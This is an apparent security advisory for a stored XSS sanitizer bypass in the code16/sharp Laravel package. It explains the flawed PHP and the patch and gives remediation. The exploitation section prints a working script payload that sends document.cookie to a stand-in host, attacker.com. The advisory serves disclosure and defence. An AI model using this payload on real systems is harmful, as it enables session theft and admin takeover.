CVE-2026-61825: Stored Cross-Site Scripting (XSS) via data-html-content Sanitizer Bypass in code16/sharp

The vulnerability identified as CVE-2026-61825 is a stored Cross-Site Scripting (XSS) flaw in the code16/sharp package, a content-management and administrative interface framework for Laravel. This vulnerability resides in the administrative backend's rich-text and markdown editor field formatter (SharpEditorFormField). The component processes user-provided markup and is designed to run server-side HTML sanitization before storing the content in the database.

The attack surface is accessible to authenticated users with permissions to write or modify content within the administrative interface, such as content authors, editors, or local administrators. By inputting malicious markup, these users can bypass the default server-side sanitization logic. The application then saves the un-sanitized, executable payload directly to the data store.

When a victim, such as a super-administrator or an end-user of the frontend application, views or edits the poisoned content, the browser executes the stored payload within the context of their active session. This mechanism leads to the execution of arbitrary JavaScript, bypassing the security boundaries of the administrative framework.

The root cause of the vulnerability lies in two distinct implementation flaws in the server-side markup formatter helper class FormatsSanitizedValue.php. The administrative backend relies on this class to configure and execute a server-side HtmlSanitizer instance which strips unsafe HTML tags and attributes before persistent storage.

The first flaw stems from an unconditional string check in the isEncodingNeeded() method. This method determines whether to process an input value via a raw decoding/encoding mechanism. In vulnerable versions, the method unconditionally added the literal string 'data-html-content' to its search array. If an input string contained this keyword, the formatter assumed the block was raw HTML and skipped standard sanitization for that element, preserving the nested scripts within.

The second flaw is the inclusion of the highly dangerous 'srcdoc' attribute in the global HTML sanitizer allowlist for iframe elements. The srcdoc attribute allows inline definition of complete HTML documents within an iframe. Because traditional, non-recursive sanitizers evaluate attributes individually without parsing nested HTML strings within an attribute value, the sanitizer approved the iframe element and left its malicious srcdoc payload unmodified.

A review of the implementation reveals how these two flaws integrated into the parsing pipeline of FormatsSanitizedValue.php. In the vulnerable implementation, the isEncodingNeeded method returned a boolean indicating whether raw encoding was required by testing a list of predefined needle strings against the user-supplied value.

// Vulnerable Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
    return collect([
        ...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
        '<x-sharp-image',
        '<x-sharp-file',
        'data-html-content', // Unconditional bypass trigger
    ])
    ->contains(fn (string $needle) => str_contains($value, $needle));
}

The patch resolved this by making the 'data-html-content' check conditional on whether the editor toolbar explicitly enables the RAW_HTML option. If the option is absent, the needle is set to null and subsequently removed via filter(). Additionally, 'srcdoc' was removed from the sanitizer configuration.

// Patched Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
    return collect([
        ...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
        '<x-sharp-image',
        '<x-sharp-file',
        in_array(SharpFormEditorField::RAW_HTML, $field->getToolbar())
            ? 'data-html-content'
            : null,
    ])
    ->filter() // Removes null values
    ->contains(fn (string $needle) => str_contains($value, $needle));
}

Exploitation of CVE-2026-61825 requires an attacker to possess low-privileged credentials sufficient to submit rich-text or markdown editor fields. The attacker targets any form input parsed by SharpEditorFormField and crafts a payload utilizing one of the two bypass vectors.

To exploit the data-html-content bypass, the attacker submits a payload wrapped in a container possessing the targeted attribute. The backend detects the attribute, bypasses sanitization, and saves the malicious script tag to the database.

<div data-html-content="true">
    <script>
        fetch('https://attacker.com/log?cookie=' + document.cookie);
    </script>
</div>

Alternatively, the attacker can leverage the srcdoc bypass. Because iframe and srcdoc are both in the global allowlist, the sanitizer accepts the payload. Upon rendering, the browser instantiates the nested context and executes the script, which can interact with the parent document context to extract cookies or session storage tokens.

The security impact of CVE-2026-61825 is high, carrying a CVSS base score of 8.7. Because the vulnerability results in stored Cross-Site Scripting, the malicious payload is persistently served to any administrative user or site visitor who accesses the affected content.

An attacker successfully exploiting this vulnerability can execute arbitrary JavaScript within the victim's browser session. If an administrative user views the page, the payload can perform actions on behalf of the administrator. This includes modifying system configurations, creating new administrative accounts, or stealing administrative session tokens and cookies.

Since the scope is changed (S:C) and the confidentiality and integrity impacts are high, this vulnerability can lead to complete administrative takeover of the backend framework and potential compromise of the underlying application infrastructure.

The primary remediation path is to upgrade the code16/sharp package to version 9.22.5 or higher. This update restricts raw HTML parsing capabilities and removes the hazardous srcdoc attribute from the global allowlist.

If immediate updating is not possible, developers should conduct a security review of all subclasses of SharpForm to ensure that raw HTML editing is disabled. Avoid incorporating SharpFormEditorField::RAW_HTML in toolbar definitions unless absolutely necessary. If raw HTML support is required, implement a strict server-side sanitization middleware using a secure HTML parser.

In addition, deploying Web Application Firewall (WAF) rules to inspect and block incoming HTTP request bodies that contain data-html-content or srcdoc attribute patterns can provide virtual patching protection. Implement a strong Content Security Policy (CSP) with restricted script-src and frame-src directives to mitigate the risk of script execution and data exfiltration.